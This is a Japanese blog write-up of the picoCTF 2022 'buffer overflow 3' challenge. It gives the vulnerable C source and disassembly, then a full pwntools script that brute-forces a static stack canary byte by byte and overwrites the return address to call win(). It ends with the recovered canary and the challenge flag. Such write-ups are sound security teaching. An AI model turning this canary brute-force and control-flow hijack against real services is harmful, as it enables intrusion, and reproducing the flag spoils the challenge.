0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

picoCTF 2022 writeup buffer overflow 3

Last updated at Posted at 2025-06-04

buffer overflow 3 (Binary Exploitation)

Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. You can view source here. And connect with it using: nc saturn.picoctf.net 60026

添付ファイル
・vuln
・vuln.c

とりあえず、実行してみる。

$ nc saturn.picoctf.net 60026
How Many Bytes will You Write Into the Buffer?
> 10
Input> aaaaaaaaaaa
Ok... Now Where's the Flag?

ソースコードを見る。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    fflush(stdout);
    exit(0);
  }

  fgets(buf,FLAGSIZE,f); // size bound read
  puts(buf);
  fflush(stdout);
}

char global_canary[CANARY_SIZE];
void read_canary() {
  FILE *f = fopen("canary.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'canary.txt' in this directory with your",
                    "own debugging canary.\n");
    fflush(stdout);
    exit(0);
  }

  fread(global_canary,sizeof(char),CANARY_SIZE,f);
  fclose(f);
}

void vuln(){
   char canary[CANARY_SIZE];
   char buf[BUFSIZE];
   char length[BUFSIZE];
   int count;
   int x = 0;
   memcpy(canary,global_canary,CANARY_SIZE);
   printf("How Many Bytes will You Write Into the Buffer?\n> ");
   while (x<BUFSIZE) {
      read(0,length+x,1);
      if (length[x]=='\n') break;
      x++;
   }
   sscanf(length,"%d",&count);

   printf("Input> ");
   read(0,buf,count);

   if (memcmp(canary,global_canary,CANARY_SIZE)) {
      printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
      fflush(stdout);
      exit(0);
   }
   printf("Ok... Now Where's the Flag?\n");
   fflush(stdout);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  read_canary();
  vuln();
  return 0;
}

セキュリティ機構を確認する。

$ checksec vuln
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/colza-picoctf/.cache/.pwntools-cache-3.10/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] A newer version of pwntools is available on pypi (4.13.1 --> 4.14.0).
    Update with: $ pip install -U pwntools
[*] '/home/colza-picoctf/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

No PIEでベースアドレスが0x8048000であることが分かる。まず、canaryを特定する。そして、buffer overflowさせ、offset + canary + offset + win() addressを入力する。

while (x<BUFSIZE) {
  read(0,length+x,1);
  if (length[x]=='\n') break;
  x++;
}

ここで、Input>のときの標準入力の読み取り文字数を自分で指定できるため、読み取り文字数を1文字ずつ増やしていき、canaryを1文字ずつ特定することができる。

offsetを特定する。
vulnのmemcpy部分。

 80494a2:       c7 45 f4 00 00 00 00    mov    DWORD PTR [ebp-0xc],0x0
 80494a9:       c7 c0 54 c0 04 08       mov    eax,0x804c054
 80494af:       8b 00                   mov    eax,DWORD PTR [eax]
 80494b1:       89 45 f0                mov    DWORD PTR [ebp-0x10],eax

read(0,buf,count);部分。

 8049531:       83 c4 10                add    esp,0x10
 8049534:       8b 85 6c ff ff ff       mov    eax,DWORD PTR [ebp-0x94]
 804953a:       83 ec 04                sub    esp,0x4
 804953d:       50                      push   eax
 804953e:       8d 45 b0                lea    eax,[ebp-0x50]
 8049541:       50                      push   eax
 8049542:       6a 00                   push   0x0
 8049544:       e8 e7 fb ff ff          call   8049130 <read@plt>

return部分。

80495bf:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
80495c2:       c9                      leave
80495c3:       c3                      ret

canaryはebp-0x10、bufはebp-0x50にあることが読み取れ、return addressは必ずebp+0x4にある。
よって、offsetは以下の通り。

  • canaryまで : 64bytes
  • canaryからreturn addressまで : 16bytes

以下、実行コード。

python solve.py
from pwn import *
import time

elf = ELF('./vuln')

win_addr = elf.symbols['win']

canary_bf = b""
for i in range(4):
    for j in range(256):
        num = 64 + i + 1
        payload = b"a" * 64 + canary_bf + bytes([j])
        p = remote('saturn.picoctf.net', 60026)
        p.sendlineafter(b"> ", str(num).encode())
        p.sendlineafter(b"> ", payload)
        data = p.recv()
        p.close()
        time.sleep(0.2)

        if b"Ok" in data:
            canary_bf += bytes([j])
            break

print(canary_bf)
payload  = b"a" * 64 + canary_bf + b"a" * 16 + p32(win_addr)

p = remote('saturn.picoctf.net', 60026)

p.sendlineafter(b"> ", b"96")
p.sendlineafter(b"> ", payload)

p.interactive()

実行する。

$ python solve.py
...
[+] Opening connection to saturn.picoctf.net on port 60026: Done
[*] Closed connection to saturn.picoctf.net port 60026
b'BiRd'
[+] Opening connection to saturn.picoctf.net on port 60026: Done
[*] Switching to interactive mode
Ok... Now Where's the Flag?
picoCTF{Stat1C_c4n4r13s_4R3_b4D_fba9d49b}
[*] Got EOF while reading in interactive

フラグが得られた。

picoCTF{Stat1C_c4n4r13s_4R3_b4D_fba9d49b}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?